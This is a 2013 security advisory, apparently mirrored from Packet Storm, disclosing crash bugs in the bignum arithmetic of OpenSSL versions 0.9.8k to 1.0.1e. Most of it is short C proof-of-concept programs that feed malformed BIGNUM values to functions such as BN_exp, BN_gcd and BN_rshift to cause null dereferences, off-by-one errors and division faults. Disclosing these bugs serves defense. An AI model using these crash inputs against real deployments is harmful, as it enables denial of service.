Lucene search
K

OpenSSL Denial Of Service

🗓️ 03 Dec 2013 00:00:00Reported by AKAT-1Type 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 38 Views

OpenSSL library prone to null ptr deref and off-by-one leading to DoS/crashes. Vulnerable versions 0.9.8k to 1.0.1e. PoC may vary

Code
`General info:  
=============  
The bn (multiprecision integer arithmetics) part of the OpenSSL library is prone to null ptr deref, off-by-one and others resulting in DoS/crashes.  
Versions tested were between 0.9.8k and 1.0.1e. We were too laz*cough* busy to prepare the fancy table, sorry guys.  
Some PoC will work for one version but not for the other. Your milage may vary, so you'll have to test it by yourself.  
  
bn_div_words.c:  
===============  
-- cut  
/* BN_ULONG bn_div_words(BN_ULONG h, BN_ULONG l, BN_ULONG d);  
bn_div_words(h, l, d) divides the two word number (h,l) by d and returns the result.  
  
  
# if defined(__i386) || defined (__i386__)  
*  
* There were two reasons for implementing this template:  
* - GNU C generates a call to a function (__udivdi3 to be exact)  
* in reply to ((((BN_ULLONG)n0)<<BN_BITS2)|n1)/d0 (I fail to  
* understand why...);  
* - divl doesn't only calculate quotient, but also leaves  
* remainder in %edx which we can definitely use here:-)  
*  
* <[email protected]>  
*  
# define bn_div_words(n0,n1,d0) \  
({ asm volatile ( \  
"divl %4" \  
: "=a"(q), "=d"(rem) \  
: "a"(n1), "d"(n0), "g"(d0) \  
: "cc"); \  
q; \  
})  
# define REMAINDER_IS_ALREADY_CALCULATED  
# elif defined(__x86_64) && defined(SIXTY_FOUR_BIT_LONG)  
*  
* Same story here, but it's 128-bit by 64-bit division. Wow!  
* <[email protected]>  
*  
# define bn_div_words(n0,n1,d0) \  
({ asm volatile ( \  
"divq %4" \  
: "=a"(q), "=d"(rem) \  
: "a"(n1), "d"(n0), "g"(d0) \  
: "cc"); \  
q; \  
})  
  
*/  
  
  
#include <stdio.h>  
#include <string.h>  
#include <openssl/bn.h>  
#include <openssl/rand.h>  
  
  
int  
main(int argc, char **argv)  
{  
BN_ULONG q,d0,n0,n1,rem=0;  
  
n0 = 10UL; // if n0 >= d0 then Floating point exception  
n1 = 100UL;  
d0 = 10UL;  
  
  
printf("%lu\n", bn_div_words(n0, n1, d0));  
return 0;  
}  
  
-- cut  
  
BN_exp_dos.c:  
=============  
-- cut  
/* int BN_exp(BIGNUM *r, BIGNUM *a, BIGNUM *p, BN_CTX *ctx);  
BN_exp() raises a to the p-th power and places the result in r ("r=a^p"). This function is faster than repeated applications of BN_mul().  
*/  
#include <stdio.h>  
#include <string.h>  
#include <openssl/bn.h>  
#include <openssl/rand.h>  
  
  
int  
main(int argc, char **argv)  
{  
BN_CTX *c = BN_CTX_new();  
BIGNUM *x,*y,*z,*p1,*p2,*p3;  
x = BN_new();  
y = BN_new();  
z = BN_new();  
  
x->d = (BN_ULONG *) malloc(1);  
x->d[0] = 0;  
x->top = 13645;  
x->dmax = 13645;  
x->neg = 0;  
x->flags = 1;  
  
y->d = (BN_ULONG *) malloc(1);  
y->d[0] = 2;  
y->top = 1;  
y->dmax = 1;  
y->neg = 1;  
y->flags = 1;  
  
z->d = (BN_ULONG *) malloc(1);  
z->d[0] = 34427664;  
z->top = 1;  
z->dmax = 1;  
z->neg = 0;  
z->flags = 0;  
  
printf("%d\n", BN_exp(x, y, z, c));  
return 0;  
}  
  
-- cut  
  
BN_gcd_dos.c:  
=============  
-- cut  
/* int BN_gcd(BIGNUM *r, BIGNUM *a, BIGNUM *b, BN_CTX *ctx);  
BN_gcd() computes the greatest common divisor of a and b and p  
*/  
#include <stdio.h>  
#include <string.h>  
#include <openssl/bn.h>  
#include <openssl/rand.h>  
  
  
int  
main(int argc, char **argv)  
{  
BN_CTX *c = BN_CTX_new();  
BIGNUM *x,*y,*z,*p1,*p2,*p3;  
x = BN_new();  
y = BN_new();  
z = BN_new();  
  
x->d = (BN_ULONG *) malloc(1);  
x->d[0] = 1;  
x->top = 0;  
x->dmax = 2;  
x->neg = 0;  
x->flags = 1;  
  
y->d = (BN_ULONG *) malloc(1);  
y->d[0] = 1;  
y->top = 1;  
y->dmax = 1;  
y->neg = 0;  
y->flags = 0;  
  
z->d = (BN_ULONG *) malloc(1);  
z->d[0] = 0;  
z->top = 1;  
z->dmax = 2;  
z->neg = 0;  
z->flags = 0;  
  
printf("PoC works for OpenSSL v1.0.1c but not for v0.9.8k\n");  
printf("%d\n", BN_gcd(x, y, z, c));  
return 0;  
}  
  
-- cut  
  
BN_mod_add.c:  
=============  
-- cut  
/* int BN_mod_add(BIGNUM *r, BIGNUM *a, BIGNUM *b, const BIGNUM *m, BN_CTX *ctx);  
BN_mod_add() adds a to b modulo m and places the non-negative result in r.  
*/  
#include <stdio.h>  
#include <string.h>  
#include <openssl/bn.h>  
#include <openssl/rand.h>  
  
  
int  
main(int argc, char **argv)  
{  
BN_CTX *c = BN_CTX_new();  
BIGNUM *x,*y,*z,*v;  
x = BN_new();  
y = BN_new();  
z = BN_new();  
v = BN_new();  
  
x->d = (BN_ULONG *) malloc(1);  
x->d[0] = 262144;  
x->top = 1;  
x->dmax = 2;  
x->neg = 0;  
x->flags = 1;  
  
y->d = (BN_ULONG *) malloc(1);  
y->d[0] = 262144;  
y->top = 1;  
y->dmax = 1;  
y->neg = 0;  
y->flags = 0;  
  
z->d = (BN_ULONG *) malloc(1);  
z->d[0] = 0;  
z->top = 0;  
z->dmax = 1;  
z->neg = 0;  
z->flags = 1;  
  
v->d = (BN_ULONG *) malloc(1);  
v->d[0] = 0;  
v->top = 1;  
v->dmax = 1;  
v->neg = 0;  
v->flags = 1;  
  
// triggers bug in bn_div_words()  
printf("%d\n", BN_mod_add(x, y, z, v, c));  
return 0;  
}  
  
-- cut  
  
BN_rshift.c:  
============  
-- cut  
/* int BN_rshift(BIGNUM *r, BIGNUM *a, int n);  
BN_rshift() shifts a right by n bits and places the result in r ("r=a/2^n"). BN_rshift1() shifts a right by one and places the result in r ("r=a/2").  
  
int BN_rshift(BIGNUM *r, const BIGNUM *a, int n)  
{  
int i,j,nw,lb,rb;  
BN_ULONG *t,*f;  
BN_ULONG l,tmp;  
  
bn_check_top(r);  
bn_check_top(a);  
  
nw=n/BN_BITS2; 0  
rb=n%BN_BITS2; 0  
lb=BN_BITS2-rb; 64  
if (nw >= a->top || a->top == 0)  
{  
BN_zero(r);  
return(1);  
}  
i = (BN_num_bits(a)-n+(BN_BITS2-1))/BN_BITS2;  
  
if (r != a)  
{  
r->neg=a->neg;  
  
if (bn_wexpand(r,i) == NULL) return(0);  
}  
else  
{  
if (n == 0)  
return 1; // or the copying loop will go berserk  
}  
f= &(a->d[nw]);  
  
t=r->d;  
  
j=a->top-nw;  
  
r->top=i;  
  
if (rb == 0)  
{  
for (i=j; i != 0; i--)  
*(t++)= *(f++); <---- oops  
}  
else  
{  
l= *(f++);  
for (i=j-1; i != 0; i--)  
{  
tmp =(l>>rb)&BN_MASK2;  
l= *(f++);  
*(t++) =(tmp|(l<<lb))&BN_MASK2;  
}  
if ((l = (l>>rb)&BN_MASK2)) *(t) = l;  
}  
bn_check_top(r);  
return(1);  
}  
*/  
  
#include <stdio.h>  
#include <string.h>  
#include <openssl/bn.h>  
#include <openssl/rand.h>  
  
  
int  
main(int argc, char **argv)  
{  
BN_CTX *c = BN_CTX_new();  
BIGNUM *x,*y,*z,*p1,*p2,*p3;  
x = BN_new();  
y = BN_new();  
z = BN_new();  
  
x->d = NULL;  
x->top = 0;  
x->dmax = 0;  
x->neg = 0;  
x->flags = 0;  
  
y->d = (BN_ULONG *) malloc(1);  
y->d[0] = 0;  
y->top = 1;  
y->dmax = 1;  
y->neg = 0;  
y->flags = 1;  
  
printf("%d\n", BN_rshift(x, y, 0));  
return 0;  
}  
  
-- cut  
  
BN_bn2hex.c:  
============  
-- cut  
/* char *BN_bn2hex(const BIGNUM *a);  
BN_bn2hex() and BN_bn2dec() return printable strings containing the hexadecimal and decimal encoding of a respectively. For negative numbers, the string is prefaced with a leading '-'. The string must be freed later using  
OPENSSL_free().  
*/  
  
#include <stdio.h>  
#include <openssl/bn.h>  
  
int  
main(int argc, char **argv)  
{  
BIGNUM *z,*o;  
BN_CTX *ctx = BN_CTX_new();  
  
z = BN_new();  
o = BN_new();  
  
  
BN_zero(z);  
BN_one(o);  
BN_set_negative(o, 1);  
BN_sqr(o, z, ctx);  
  
printf("%s\n", BN_bn2hex(o));  
  
return 0;  
}  
  
-- cut  
  
BN_add_word.c:  
==============  
-- cut  
/* int BN_add_word(BIGNUM *a, BN_ULONG w);  
BN_add_word() adds w to a ("a+=w").  
*/  
  
#include <stdio.h>  
#include <openssl/bn.h>  
  
int  
main(int argc, char **argv)  
{  
BIGNUM *z,*o;  
BN_CTX *ctx = BN_CTX_new();  
  
z = BN_new();  
o = BN_new();  
  
  
BN_set_word(o, 2);  
BN_add_word(o, 18446744073709551615LL);  
  
return 0;  
}  
  
-- cut  
  
Credits:  
========  
AKAT-1, 22733db72ab3ed94b5f8a1ffcde850251fe6f466, c8e74ebd8392fda4788179f9a02bb49337638e7b  
  
____________________________________________________________  
GET FREE SMILEYS FOR YOUR IM & EMAIL - Learn more at http://www.inbox.com/smileys  
Works with AIM®, MSN® Messenger, Yahoo!® Messenger, ICQ®, Google Talk™ and most webmails  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation